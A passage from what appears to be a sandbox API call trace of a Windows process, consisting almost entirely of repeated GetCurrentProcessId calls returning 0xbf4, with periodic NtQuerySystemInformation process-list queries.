() returned 0xbf4 [0246.830] GetCurrentProcessId () returned 0xbf4 [0246.830] GetCurrentProcessId () returned 0xbf4 [0246.830] GetCurrentProcessId () returned 0xbf4 [0246.830] GetCurrentProcessId () returned 0xbf4 [0246.830] GetCurrentProcessId () returned 0xbf4 [0246.830] GetCurrentProcessId () returned 0xbf4 [0246.830] GetCurrentProcessId () returned 0xbf4 [0246.830] GetCurrentProcessId () returned 0xbf4 [0246.830] GetCurrentProcessId () returned 0xbf4 [0246.830] GetCurrentProcessId () returned 0xbf4 [0246.830] GetCurrentProcessId () returned 0xbf4 [0246.830] GetCurrentProcessId () returned 0xbf4 [0246.831] GetCurrentProcessId () returned 0xbf4 [0246.831] GetCurrentProcessId () returned 0xbf4 [0246.831] GetCurrentProcessId () returned 0xbf4 [0246.831] GetCurrentProcessId () returned 0xbf4 [0246.831] GetCurrentProcessId () returned 0xbf4 [0246.831] GetCurrentProcessId () returned 0xbf4 [0246.831] GetCurrentProcessId () returned 0xbf4 [0246.831] GetCurrentProcessId () returned 0xbf4 [0246.831] GetCurrentProcessId () returned 0xbf4 [0246.831] GetCurrentProcessId () returned 0xbf4 [0246.831] GetCurrentProcessId () returned 0xbf4 [0246.831] GetCurrentProcessId () returned 0xbf4 [0246.831] GetCurrentProcessId () returned 0xbf4 [0246.831] GetCurrentProcessId () returned 0xbf4 [0246.831] GetCurrentProcessId () returned 0xbf4 [0246.831] GetCurrentProcessId () returned 0xbf4 [0246.831] GetCurrentProcessId () returned 0xbf4 [0246.831] GetCurrentProcessId () returned 0xbf4 [0246.831] GetCurrentProcessId () returned 0xbf4 [0246.831] GetCurrentProcessId () returned 0xbf4 [0246.831] GetCurrentProcessId () returned 0xbf4 [0246.831] GetCurrentProcessId () returned 0xbf4 [0246.831] GetCurrentProcessId () returned 0xbf4 [0246.831] GetCurrentProcessId () returned 0xbf4 [0246.831] GetCurrentProcessId () returned 0xbf4 [0246.831] GetCurrentProcessId () returned 0xbf4 [0246.832] GetCurrentProcessId () returned 0xbf4 [0246.832] GetCurrentProcessId () returned 0xbf4 [0246.832] GetCurrentProcessId () returned 0xbf4 [0246.832] GetCurrentProcessId () returned 0xbf4 [0246.832] GetCurrentProcessId () returned 0xbf4 [0246.832] GetCurrentProcessId () returned 0xbf4 [0246.832] GetCurrentProcessId () returned 0xbf4 [0246.832] GetCurrentProcessId () returned 0xbf4 [0246.832] GetCurrentProcessId () returned 0xbf4 [0246.832] GetCurrentProcessId () returned 0xbf4 [0247.547] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1ca40) returned 0x0 [0247.554] GetCurrentProcessId () returned 0xbf4 [0247.554] GetCurrentProcessId () returned 0xbf4 [0247.554] GetCurrentProcessId () returned 0xbf4 [0247.554] GetCurrentProcessId () returned 0xbf4 [0247.554] GetCurrentProcessId () returned 0xbf4 [0247.554] GetCurrentProcessId () returned 0xbf4 [0247.554] GetCurrentProcessId () returned 0xbf4 [0247.554] GetCurrentProcessId () returned 0xbf4 [0247.554] GetCurrentProcessId () returned 0xbf4 [0247.554] GetCurrentProcessId () returned 0xbf4 [0247.554] GetCurrentProcessId () returned 0xbf4 [0247.554] GetCurrentProcessId () returned 0xbf4 [0247.554] GetCurrentProcessId () returned 0xbf4 [0247.554] GetCurrentProcessId () returned 0xbf4 [0247.554] GetCurrentProcessId () returned 0xbf4 [0247.554] GetCurrentProcessId () returned 0xbf4 [0247.554] GetCurrentProcessId () returned 0xbf4 [0247.554] GetCurrentProcessId () returned 0xbf4 [0247.554] GetCurrentProcessId () returned 0xbf4 [0247.554] GetCurrentProcessId () returned 0xbf4 [0247.554] GetCurrentProcessId () returned 0xbf4 [0247.554] GetCurrentProcessId () returned 0xbf4 [0247.555] GetCurrentProcessId () returned 0xbf4 [0247.555] GetCurrentProcessId () returned 0xbf4 [0247.555] GetCurrentProcessId () returned 0xbf4 [0247.555] GetCurrentProcessId () returned 0xbf4 [0247.555] GetCurrentProcessId () returned 0xbf4 [0247.555] GetCurrentProcessId () returned 0xbf4 [0247.555] GetCurrentProcessId () returned 0xbf4 [0247.555] GetCurrentProcessId () returned 0xbf4 [0247.555] GetCurrentProcessId () returned 0xbf4 [0247.555] GetCurrentProcessId () returned 0xbf4 [0247.555] GetCurrentProcessId () returned 0xbf4 [0247.555] GetCurrentProcessId () returned 0xbf4 [0247.555] GetCurrentProcessId () returned 0xbf4 [0247.555] GetCurrentProcessId () returned 0xbf4 [0247.555] GetCurrentProcessId () returned 0xbf4 [0247.555] GetCurrentProcessId () returned 0xbf4 [0247.555] GetCurrentProcessId () returned 0xbf4 [0247.555] GetCurrentProcessId () returned 0xbf4 [0247.555] GetCurrentProcessId () returned 0xbf4 [0247.555] GetCurrentProcessId () returned 0xbf4 [0247.555] GetCurrentProcessId () returned 0xbf4 [0247.555] GetCurrentProcessId () returned 0xbf4 [0247.555] GetCurrentProcessId () returned 0xbf4 [0247.555] GetCurrentProcessId () returned 0xbf4 [0247.556] GetCurrentProcessId () returned 0xbf4 [0247.556] GetCurrentProcessId () returned 0xbf4 [0247.556] GetCurrentProcessId () returned 0xbf4 [0247.556] GetCurrentProcessId () returned 0xbf4 [0247.556] GetCurrentProcessId () returned 0xbf4 [0247.556] GetCurrentProcessId () returned 0xbf4 [0247.556] GetCurrentProcessId () returned 0xbf4 [0247.556] GetCurrentProcessId () returned 0xbf4 [0247.556] GetCurrentProcessId () returned 0xbf4 [0247.556] GetCurrentProcessId () returned 0xbf4 [0247.556] GetCurrentProcessId () returned 0xbf4 [0247.556] GetCurrentProcessId () returned 0xbf4 [0247.556] GetCurrentProcessId () returned 0xbf4 [0247.556] GetCurrentProcessId () returned 0xbf4 [0247.556] GetCurrentProcessId () returned 0xbf4 [0247.556] GetCurrentProcessId () returned 0xbf4 [0247.556] GetCurrentProcessId () returned 0xbf4 [0247.556] GetCurrentProcessId () returned 0xbf4 [0247.556] GetCurrentProcessId () returned 0xbf4 [0247.556] GetCurrentProcessId () returned 0xbf4 [0247.556] GetCurrentProcessId () returned 0xbf4 [0247.556] GetCurrentProcessId () returned 0xbf4 [0247.556] GetCurrentProcessId () returned 0xbf4 [0247.556] GetCurrentProcessId () returned 0xbf4 [0247.556] GetCurrentProcessId () returned 0xbf4 [0247.556] GetCurrentProcessId () returned 0xbf4 [0247.556] GetCurrentProcessId () returned 0xbf4 [0247.556] GetCurrentProcessId () returned 0xbf4 [0247.556] GetCurrentProcessId () returned 0xbf4 [0247.556] GetCurrentProcessId () returned 0xbf4 [0247.556] GetCurrentProcessId () returned 0xbf4 [0247.556] GetCurrentProcessId () returned 0xbf4 [0247.556] GetCurrentProcessId () returned 0xbf4 [0247.557] GetCurrentProcessId () returned 0xbf4 [0247.557] GetCurrentProcessId () returned 0xbf4 [0247.557] GetCurrentProcessId () returned 0xbf4 [0247.557] GetCurrentProcessId () returned 0xbf4 [0247.557] GetCurrentProcessId () returned 0xbf4 [0247.557] GetCurrentProcessId () returned 0xbf4 [0247.557] GetCurrentProcessId () returned 0xbf4 [0247.557] GetCurrentProcessId () returned 0xbf4 [0247.557] GetCurrentProcessId () returned 0xbf4 [0247.557] GetCurrentProcessId () returned 0xbf4 [0247.557] GetCurrentProcessId () returned 0xbf4 [0247.557] GetCurrentProcessId () returned 0xbf4 [0247.557] GetCurrentProcessId () returned 0xbf4 [0247.557] GetCurrentProcessId () returned 0xbf4 [0247.557] GetCurrentProcessId () returned 0xbf4 [0247.557] GetCurrentProcessId () returned 0xbf4 [0247.557] GetCurrentProcessId () returned 0xbf4 [0247.557] GetCurrentProcessId () returned 0xbf4 [0247.557] GetCurrentProcessId () returned 0xbf4 [0247.557] GetCurrentProcessId () returned 0xbf4 [0247.557] GetCurrentProcessId () returned 0xbf4 [0247.557] GetCurrentProcessId () returned 0xbf4 [0247.557] GetCurrentProcessId () returned 0xbf4 [0247.557] GetCurrentProcessId () returned 0xbf4 [0247.557] GetCurrentProcessId () returned 0xbf4 [0247.557] GetCurrentProcessId () returned 0xbf4 [0247.557] GetCurrentProcessId () returned 0xbf4 [0247.557] GetCurrentProcessId () returned 0xbf4 [0248.306] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1cb30) returned 0x0 [0248.314] GetCurrentProcessId () returned 0xbf4 [0248.314] GetCurrentProcessId () returned 0xbf4 [0248.314] GetCurrentProcessId () returned 0xbf4 [0248.315] GetCurrentProcessId () returned 0xbf4 [0248.315] GetCurrentProcessId () returned 0xbf4 [0248.315] GetCurrentProcessId () returned 0xbf4 [0248.315] GetCurrentProcessId () returned 0xbf4 [0248.315] GetCurrentProcessId () returned 0xbf4 [0248.315] GetCurrentProcessId () returned 0xbf4 [0248.315] GetCurrentProcessId () returned 0xbf4 [0248.315] GetCurrentProcessId () returned 0xbf4 [0248.315] GetCurrentProcessId () returned 0xbf4 [0248.315] GetCurrentProcessId () returned 0xbf4 [0248.315] GetCurrentProcessId () returned 0xbf4 [0248.315] GetCurrentProcessId () returned 0xbf4 [0248.315] GetCurrentProcessId () returned 0xbf4 [0248.315] GetCurrentProcessId () returned 0xbf4 [0248.315] GetCurrentProcessId () returned 0xbf4 [0248.315] GetCurrentProcessId () returned 0xbf4 [0248.315] GetCurrentProcessId () returned 0xbf4 [0248.315] GetCurrentProcessId () returned 0xbf4 [0248.315] GetCurrentProcessId () returned 0xbf4 [0248.315] GetCurrentProcessId () returned 0xbf4 [0248.315] GetCurrentProcessId () returned 0xbf4 [0248.315] GetCurrentProcessId () returned 0xbf4 [0248.315] GetCurrentProcessId () returned 0xbf4 [0248.315] GetCurrentProcessId () returned 0xbf4 [0248.315] GetCurrentProcessId () returned 0xbf4 [0248.315] GetCurrentProcessId () returned 0xbf4 [0248.315] GetCurrentProcessId () returned 0xbf4 [0248.315] GetCurrentProcessId () returned 0xbf4 [0248.316] GetCurrentProcessId () returned 0xbf4 [0248.316] GetCurrentProcessId () returned 0xbf4 [0248.316] GetCurrentProcessId () returned 0xbf4 [0248.316] GetCurrentProcessId () returned 0xbf4 [0248.316] GetCurrentProcessId () returned 0xbf4 [0248.316] GetCurrentProcessId () returned 0xbf4 [0248.316] GetCurrentProcessId () returned 0xbf4 [0248.316] GetCurrentProcessId () returned 0xbf4 [0248.316] GetCurrentProcessId () returned 0xbf4 [0248.316] GetCurrentProcessId () returned 0xbf4 [0248.316] GetCurrentProcessId () returned 0xbf4 [0248.316] GetCurrentProcessId () returned 0xbf4 [0248.316] GetCurrentProcessId () returned 0xbf4 [0248.316] GetCurrentProcessId () returned 0xbf4 [0248.316] GetCurrentProcessId () returned 0xbf4 [0248.316] GetCurrentProcessId () returned 0xbf4 [0248.316] GetCurrentProcessId () returned 0xbf4 [0248.316] GetCurrentProcessId () returned 0xbf4 [0248.316] GetCurrentProcessId () returned 0xbf4 [0248.316] GetCurrentProcessId () returned 0xbf4 [0248.316] GetCurrentProcessId () returned 0xbf4 [0248.316] GetCurrentProcessId () returned 0xbf4 [0248.316] GetCurrentProcessId () returned 0xbf4 [0248.316] GetCurrentProcessId () returned 0xbf4 [0248.316] GetCurrentProcessId () returned 0xbf4 [0248.316] GetCurrentProcessId () returned 0xbf4 [0248.316] GetCurrentProcessId () returned 0xbf4 [0248.316] GetCurrentProcessId () returned 0xbf4 [0248.317] GetCurrentProcessId () returned 0xbf4 [0248.317] GetCurrentProcessId () returned 0xbf4 [0248.317] GetCurrentProcessId () returned 0xbf4 [0248.317] GetCurrentProcessId () returned 0xbf4 [0248.317] GetCurrentProcessId () returned 0xbf4 [0248.317] GetCurrentProcessId () returned 0xbf4 [0248.317] GetCurrentProcessId () returned 0xbf4 [0248.317] GetCurrentProcessId () returned 0xbf4 [0248.317] GetCurrentProcessId () returned 0xbf4 [0248.317] GetCurrentProcessId () returned 0xbf4 [0248.317] GetCurrentProcessId () returned 0xbf4 [0248.317] GetCurrentProcessId () returned 0xbf4 [0248.317] GetCurrentProcessId () returned 0xbf4 [0248.317] GetCurrentProcessId () returned 0xbf4 [0248.317] GetCurrentProcessId () returned 0xbf4 [0248.317] GetCurrentProcessId () returned 0xbf4 [0248.317] GetCurrentProcessId () returned 0xbf4 [0248.317] GetCurrentProcessId () returned 0xbf4 [0248.317] GetCurrentProcessId () returned 0xbf4 [0248.317] GetCurrentProcessId () returned 0xbf4 [0248.317] GetCurrentProcessId () returned 0xbf4 [0248.317] GetCurrentProcessId () returned 0xbf4 [0248.317] GetCurrentProcessId () returned 0xbf4 [0248.317] GetCurrentProcessId () returned 0xbf4 [0248.317] GetCurrentProcessId () returned 0xbf4 [0248.317] GetCurrentProcessId () returned 0xbf4 [0248.317] GetCurrentProcessId () returned 0xbf4 [0248.317] GetCurrentProcessId () returned 0xbf4 [0248.318] GetCurrentProcessId () returned 0xbf4 [0248.318] GetCurrentProcessId () returned 0xbf4 [0248.318] GetCurrentProcessId () returned 0xbf4 [0248.318] GetCurrentProcessId () returned 0xbf4 [0248.318] GetCurrentProcessId () returned 0xbf4 [0248.318] GetCurrentProcessId () returned 0xbf4 [0248.318] GetCurrentProcessId () returned 0xbf4 [0248.318] GetCurrentProcessId () returned 0xbf4 [0248.318] GetCurrentProcessId () returned 0xbf4 [0248.318] GetCurrentProcessId () returned 0xbf4 [0248.318] GetCurrentProcessId () returned 0xbf4 [0248.318] GetCurrentProcessId () returned 0xbf4 [0248.318] GetCurrentProcessId () returned 0xbf4 [0248.318] GetCurrentProcessId () returned 0xbf4 [0248.318] GetCurrentProcessId () returned 0xbf4 [0248.318] GetCurrentProcessId () returned 0xbf4 [0248.318] GetCurrentProcessId () returned 0xbf4 [0248.318] GetCurrentProcessId () returned 0xbf4 [0248.318] GetCurrentProcessId () returned 0xbf4 [0248.318] GetCurrentProcessId () returned 0xbf4 [0248.970] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1cb30) returned 0x0 [0248.976] GetCurrentProcessId () returned 0xbf4 [0248.976] GetCurrentProcessId () returned 0xbf4 [0248.977] GetCurrentProcessId () returned 0xbf4 [0248.977] GetCurrentProcessId () returned 0xbf4 [0248.977] GetCurrentProcessId () returned 0xbf4 [0248.977] GetCurrentProcessId () returned 0xbf4 [0248.977] GetCurrentProcessId () returned 0xbf4 [0248.977] GetCurrentProcessId () returned 0xbf4 [0248.977] GetCurrentProcessId () returned 0xbf4 [0248.977] GetCurrentProcessId () returned 0xbf4 [0248.977] GetCurrentProcessId () returned 0xbf4 [0248.977] GetCurrentProcessId () returned 0xbf4 [0248.977] GetCurrentProcessId () returned 0xbf4 [0248.977] GetCurrentProcessId () returned 0xbf4 [0248.977] GetCurrentProcessId () returned 0xbf4 [0248.977] GetCurrentProcessId () returned 0xbf4 [0248.977] GetCurrentProcessId () returned 0xbf4 [0248.977] GetCurrentProcessId () returned 0xbf4 [0248.977] GetCurrentProcessId () returned 0xbf4 [0248.977] GetCurrentProcessId () returned 0xbf4 [0248.977] GetCurrentProcessId () returned 0xbf4 [0248.977] GetCurrentProcessId () returned 0xbf4 [0248.977] GetCurrentProcessId () returned 0xbf4 [0248.977] GetCurrentProcessId () returned 0xbf4 [0248.977] GetCurrentProcessId () returned 0xbf4 [0248.977] GetCurrentProcessId () returned 0xbf4 [0248.977] GetCurrentProcessId () returned 0xbf4 [0248.977] GetCurrentProcessId () returned 0xbf4 [0248.977] GetCurrentProcessId () returned 0xbf4 [0248.978] GetCurrentProcessId () returned 0xbf4 [0248.978] GetCurrentProcessId () returned 0xbf4 [0248.978] GetCurrentProcessId () returned 0xbf4 [0248.978] GetCurrentProcessId () returned 0xbf4 [0248.978] GetCurrentProcessId () returned 0xbf4 [0248.978] GetCurrentProcessId () returned 0xbf4 [0248.978] GetCurrentProcessId () returned 0xbf4 [0248.978] GetCurrentProcessId () returned 0xbf4 [0248.978] GetCurrentProcessId () returned 0xbf4 [0248.978] GetCurrentProcessId () returned 0xbf4 [0248.978] GetCurrentProcessId () returned 0xbf4 [0248.978] GetCurrentProcessId () returned 0xbf4 [0248.978] GetCurrentProcessId () returned 0xbf4 [0248.978] GetCurrentProcessId () returned 0xbf4 [0248.978] GetCurrentProcessId () returned 0xbf4 [0248.978] GetCurrentProcessId () returned 0xbf4 [0248.978] GetCurrentProcessId () returned 0xbf4 [0248.978] GetCurrentProcessId () returned 0xbf4 [0248.978] GetCurrentProcessId () returned 0xbf4 [0248.978] GetCurrentProcessId () returned 0xbf4 [0248.978] GetCurrentProcessId () returned 0xbf4 [0248.978] GetCurrentProcessId () returned 0xbf4 [0248.978] GetCurrentProcessId () returned 0xbf4 [0248.978] GetCurrentProcessId () returned 0xbf4 [0248.978] GetCurrentProcessId () returned 0xbf4 [0248.978] GetCurrentProcessId () returned 0xbf4 [0248.978] GetCurrentProcessId () returned 0xbf4 [0248.979] GetCurrentProcessId () returned 0xbf4 [0248.979] GetCurrentProcessId () returned 0xbf4 [0248.979] GetCurrentProcessId () returned 0xbf4 [0248.979] GetCurrentProcessId () returned 0xbf4 [0248.979] GetCurrentProcessId () returned 0xbf4 [0248.979] GetCurrentProcessId () returned 0xbf4 [0248.979] GetCurrentProcessId () returned 0xbf4 [0248.979] GetCurrentProcessId () returned 0xbf4 [0248.979] GetCurrentProcessId () returned 0xbf4 [0248.979] GetCurrentProcessId () returned 0xbf4 [0248.979] GetCurrentProcessId () returned 0xbf4 [0248.979] GetCurrentProcessId () returned 0xbf4 [0248.979] GetCurrentProcessId () returned 0xbf4 [0248.979] GetCurrentProcessId () returned 0xbf4 [0248.979] GetCurrentProcessId () returned 0xbf4 [0248.979] GetCurrentProcessId () returned 0xbf4 [0248.979] GetCurrentProcessId () returned 0xbf4 [0248.979] GetCurrentProcessId () returned 0xbf4 [0248.979] GetCurrentProcessId () returned 0xbf4 [0248.979] GetCurrentProcessId () returned 0xbf4 [0248.979] GetCurrentProcessId () returned 0xbf4 [0248.979] GetCurrentProcessId () returned 0xbf4 [0248.979] GetCurrentProcessId () returned 0xbf4 [0248.979] GetCurrentProcessId () returned 0xbf4 [0248.979] GetCurrentProcessId () returned 0xbf4 [0248.979] GetCurrentProcessId () returned 0xbf4 [0248.980] GetCurrentProcessId () returned 0xbf4 [0248.980] GetCurrentProcessId () returned 0xbf4 [0248.980] GetCurrentProcessId () returned 0xbf4 [0248.980] GetCurrentProcessId () returned 0xbf4 [0248.980] GetCurrentProcessId () returned 0xbf4 [0248.980] GetCurrentProcessId () returned 0xbf4 [0248.980] GetCurrentProcessId () returned 0xbf4 [0248.980] GetCurrentProcessId () returned 0xbf4 [0248.980] GetCurrentProcessId () returned 0xbf4 [0248.980] GetCurrentProcessId () returned 0xbf4 [0248.980] GetCurrentProcessId () returned 0xbf4 [0248.980] GetCurrentProcessId () returned 0xbf4 [0248.980] GetCurrentProcessId () returned 0xbf4 [0248.980] GetCurrentProcessId () returned 0xbf4 [0248.980] GetCurrentProcessId () returned 0xbf4 [0248.980] GetCurrentProcessId () returned 0xbf4 [0248.980] GetCurrentProcessId () returned 0xbf4 [0248.980] GetCurrentProcessId () returned 0xbf4 [0248.980] GetCurrentProcessId () returned 0xbf4 [0248.980] GetCurrentProcessId () returned 0xbf4 [0248.980] GetCurrentProcessId () returned 0xbf4 [0248.980] GetCurrentProcessId () returned 0xbf4 [0248.980] GetCurrentProcessId () returned 0xbf4 [0248.980] GetCurrentProcessId () returned 0xbf4 [0248.980] GetCurrentProcessId () returned 0xbf4 [0249.638] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1cb30) returned 0x0 [0249.646] GetCurrentProcessId () returned 0xbf4 [0249.647] GetCurrentProcessId () returned 0xbf4 [0249.647] GetCurrentProcessId () returned 0xbf4 [0249.647] GetCurrentProcessId () returned 0xbf4 [0249.647] GetCurrentProcessId () returned 0xbf4 [0249.647] GetCurrentProcessId () returned 0xbf4 [0249.647] GetCurrentProcessId () returned 0xbf4 [0249.647] GetCurrentProcessId () returned 0xbf4 [0249.647] GetCurrentProcessId () returned 0xbf4 [0249.647] GetCurrentProcessId () returned 0xbf4 [0249.647] GetCurrentProcessId () returned 0xbf4 [0249.647] GetCurrentProcessId () returned 0xbf4 [0249.647] GetCurrentProcessId () returned 0xbf4 [0249.647] GetCurrentProcessId () returned 0xbf4 [0249.647] GetCurrentProcessId () returned 0xbf4 [0249.647] GetCurrentProcessId () returned 0xbf4 [0249.647] GetCurrentProcessId () returned 0xbf4 [0249.647] GetCurrentProcessId () returned 0xbf4 [0249.647] GetCurrentProcessId () returned 0xbf4 [0249.647] GetCurrentProcessId () returned 0xbf4 [0249.647] GetCurrentProcessId () returned 0xbf4 [0249.647] GetCurrentProcessId () returned 0xbf4 [0249.647] GetCurrentProcessId () returned 0xbf4 [0249.647] GetCurrentProcessId () returned 0xbf4 [0249.647] GetCurrentProcessId () returned 0xbf4 [0249.647] GetCurrentProcessId () returned 0xbf4 [0249.647] GetCurrentProcessId () returned 0xbf4 [0249.647] GetCurrentProcessId () returned 0xbf4 [0249.647] GetCurrentProcessId () returned 0xbf4 [0249.647] GetCurrentProcessId () returned 0xbf4 [0249.647] GetCurrentProcessId () returned 0xbf4 [0249.647] GetCurrentProcessId () returned 0xbf4 [0249.647] GetCurrentProcessId () returned 0xbf4 [0249.647] GetCurrentProcessId () returned 0xbf4 [0249.648] GetCurrentProcessId () returned 0xbf4 [0249.648] GetCurrentProcessId () returned 0xbf4 [0249.648] GetCurrentProcessId () returned 0xbf4 [0249.648] GetCurrentProcessId () returned 0xbf4 [0249.648] GetCurrentProcessId () returned 0xbf4 [0249.648] GetCurrentProcessId () returned 0xbf4 [0249.648] GetCurrentProcessId () returned 0xbf4 [0249.648] GetCurrentProcessId () returned 0xbf4 [0249.648] GetCurrentProcessId () returned 0xbf4 [0249.648] GetCurrentProcessId () returned 0xbf4 [0249.648] GetCurrentProcessId () returned 0xbf4 [0249.648] GetCurrentProcessId () returned 0xbf4 [0249.648] GetCurrentProcessId () returned 0xbf4 [0249.648] GetCurrentProcessId () returned 0xbf4 [0249.648] GetCurrentProcessId () returned 0xbf4 [0249.648] GetCurrentProcessId () returned 0xbf4 [0249.648] GetCurrentProcessId () returned 0xbf4 [0249.648] GetCurrentProcessId () returned 0xbf4 [0249.648] GetCurrentProcessId () returned 0xbf4 [0249.648] GetCurrentProcessId () returned 0xbf4 [0249.648] GetCurrentProcessId () returned 0xbf4 [0249.648] GetCurrentProcessId () returned 0xbf4 [0249.648] GetCurrentProcessId () returned 0xbf4 [0249.648] GetCurrentProcessId () returned 0xbf4 [0249.648] GetCurrentProcessId () returned 0xbf4 [0249.648] GetCurrentProcessId () returned 0xbf4 [0249.648] GetCurrentProcessId () returned 0xbf4 [0249.648] GetCurrentProcessId () returned 0xbf4 [0249.648] GetCurrentProcessId () returned 0xbf4 [0249.648] GetCurrentProcessId () returned 0xbf4 [0249.648] GetCurrentProcessId () returned 0xbf4 [0249.648] GetCurrentProcessId () returned 0xbf4 [0249.648] GetCurrentProcessId () returned 0xbf4 [0249.648] GetCurrentProcessId () returned 0xbf4 [0249.649] GetCurrentProcessId () returned 0xbf4 [0249.649] GetCurrentProcessId () returned 0xbf4 [0249.649] GetCurrentProcessId () returned 0xbf4 [0249.649] GetCurrentProcessId () returned 0xbf4 [0249.649] GetCurrentProcessId () returned 0xbf4 [0249.649] GetCurrentProcessId () returned 0xbf4 [0249.649] GetCurrentProcessId () returned 0xbf4 [0249.649] GetCurrentProcessId () returned 0xbf4 [0249.649] GetCurrentProcessId () returned 0xbf4 [0249.649] GetCurrentProcessId () returned 0xbf4 [0249.649] GetCurrentProcessId () returned 0xbf4 [0249.649] GetCurrentProcessId () returned 0xbf4 [0249.649] GetCurrentProcessId () returned 0xbf4 [0249.649] GetCurrentProcessId () returned 0xbf4 [0249.649] GetCurrentProcessId () returned 0xbf4 [0249.649] GetCurrentProcessId () returned 0xbf4 [0249.649] GetCurrentProcessId () returned 0xbf4 [0249.649] GetCurrentProcessId () returned 0xbf4 [0249.649] GetCurrentProcessId () returned 0xbf4 [0249.649] GetCurrentProcessId () returned 0xbf4 [0249.649] GetCurrentProcessId () returned 0xbf4 [0249.649] GetCurrentProcessId () returned 0xbf4 [0249.649] GetCurrentProcessId () returned 0xbf4 [0249.649] GetCurrentProcessId () returned 0xbf4 [0249.649] GetCurrentProcessId () returned 0xbf4 [0249.649] GetCurrentProcessId () returned 0xbf4 [0249.649] GetCurrentProcessId () returned 0xbf4 [0249.649] GetCurrentProcessId () returned 0xbf4 [0249.649] GetCurrentProcessId () returned 0xbf4 [0249.649] GetCurrentProcessId () returned 0xbf4 [0249.649] GetCurrentProcessId () returned 0xbf4 [0249.649] GetCurrentProcessId () returned 0xbf4 [0249.649] GetCurrentProcessId () returned 0xbf4 [0249.649] GetCurrentProcessId () returned 0xbf4 [0249.649] GetCurrentProcessId () returned 0xbf4 [0249.650] GetCurrentProcessId () returned 0xbf4 [0249.650] GetCurrentProcessId () returned 0xbf4 [0249.650] GetCurrentProcessId () returned 0xbf4 [0249.650] GetCurrentProcessId () returned 0xbf4 [0250.325] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1cb30) returned 0x0 [0250.331] GetCurrentProcessId () returned 0xbf4 [0250.331] GetCurrentProcessId () returned 0xbf4 [0250.331] GetCurrentProcessId () returned 0xbf4 [0250.331] GetCurrentProcessId () returned 0xbf4 [0250.331] GetCurrentProcessId () returned 0xbf4 [0250.331] GetCurrentProcessId () returned 0xbf4 [0250.332] GetCurrentProcessId () returned 0xbf4 [0250.332] GetCurrentProcessId () returned 0xbf4 [0250.332] GetCurrentProcessId () returned 0xbf4 [0250.332] GetCurrentProcessId () returned 0xbf4 [0250.332] GetCurrentProcessId () returned 0xbf4 [0250.332] GetCurrentProcessId () returned 0xbf4 [0250.332] GetCurrentProcessId () returned 0xbf4 [0250.332] GetCurrentProcessId () returned 0xbf4 [0250.332] GetCurrentProcessId () returned 0xbf4 [0250.332] GetCurrentProcessId () returned 0xbf4 [0250.332] GetCurrentProcessId () returned 0xbf4 [0250.332] GetCurrentProcessId () returned 0xbf4 [0250.332] GetCurrentProcessId () returned 0xbf4 [0250.332] GetCurrentProcessId () returned 0xbf4 [0250.332] GetCurrentProcessId () returned 0xbf4 [0250.332] GetCurrentProcessId () returned 0xbf4 [0250.332] GetCurrentProcessId () returned 0xbf4 [0250.332] GetCurrentProcessId () returned 0xbf4 [0250.332] GetCurrentProcessId () returned 0xbf4 [0250.332] GetCurrentProcessId () returned 0xbf4 [0250.332] GetCurrentProcessId () returned 0xbf4 [0250.332] GetCurrentProcessId () returned 0xbf4 [0250.332] GetCurrentProcessId () returned 0xbf4 [0250.332] GetCurrentProcessId () returned 0xbf4 [0250.332] GetCurrentProcessId () returned 0xbf4 [0250.332] GetCurrentProcessId () returned 0xbf4 [0250.332] GetCurrentProcessId () returned 0xbf4 [0250.332] GetCurrentProcessId () returned 0xbf4 [0250.332] GetCurrentProcessId () returned 0xbf4 [0250.332] GetCurrentProcessId () returned 0xbf4 [0250.332] GetCurrentProcessId () returned 0xbf4 [0250.332] GetCurrentProcessId () returned 0xbf4 [0250.332] GetCurrentProcessId () returned 0xbf4 [0250.333] GetCurrentProcessId () returned 0xbf4 [0250.333] GetCurrentProcessId () returned 0xbf4 [0250.333] GetCurrentProcessId () returned 0xbf4 [0250.333] GetCurrentProcessId () returned 0xbf4 [0250.333] GetCurrentProcessId () returned 0xbf4 [0250.333] GetCurrentProcessId () returned 0xbf4 [0250.333] GetCurrentProcessId () returned 0xbf4 [0250.333] GetCurrentProcessId () returned 0xbf4 [0250.333] GetCurrentProcessId () returned 0xbf4 [0250.333] GetCurrentProcessId () returned 0xbf4 [0250.333] GetCurrentProcessId () returned 0xbf4 [0250.333] GetCurrentProcessId () returned 0xbf4 [0250.333] GetCurrentProcessId () returned 0xbf4 [0250.333] GetCurrentProcessId () returned 0xbf4 [0250.333] GetCurrentProcessId () returned 0xbf4 [0250.333] GetCurrentProcessId () returned 0xbf4 [0250.333] GetCurrentProcessId () returned 0xbf4 [0250.333] GetCurrentProcessId () returned 0xbf4 [0250.333] GetCurrentProcessId () returned 0xbf4 [0250.333] GetCurrentProcessId () returned 0xbf4 [0250.333] GetCurrentProcessId () returned 0xbf4 [0250.333] GetCurrentProcessId () returned 0xbf4 [0250.333] GetCurrentProcessId () returned 0xbf4 [0250.333] GetCurrentProcessId () returned 0xbf4 [0250.333] GetCurrentProcessId () returned 0xbf4 [0250.333] GetCurrentProcessId () returned 0xbf4 [0250.333] GetCurrentProcessId () returned 0xbf4 [0250.333] GetCurrentProcessId () returned 0xbf4 [0250.333] GetCurrentProcessId () returned 0xbf4 [0250.333] GetCurrentProcessId () returned 0xbf4 [0250.333] GetCurrentProcessId () returned 0xbf4 [0250.333] GetCurrentProcessId () returned 0xbf4 [0250.333] GetCurrentProcessId () returned 0xbf4 [0250.333] GetCurrentProcessId () returned 0xbf4 [0250.333] GetCurrentProcessId () returned 0xbf4 [0250.333] GetCurrentProcessId () returned 0xbf4 [0250.334] GetCurrentProcessId () returned 0xbf4 [0250.334] GetCurrentProcessId () returned 0xbf4 [0250.334] GetCurrentProcessId () returned 0xbf4 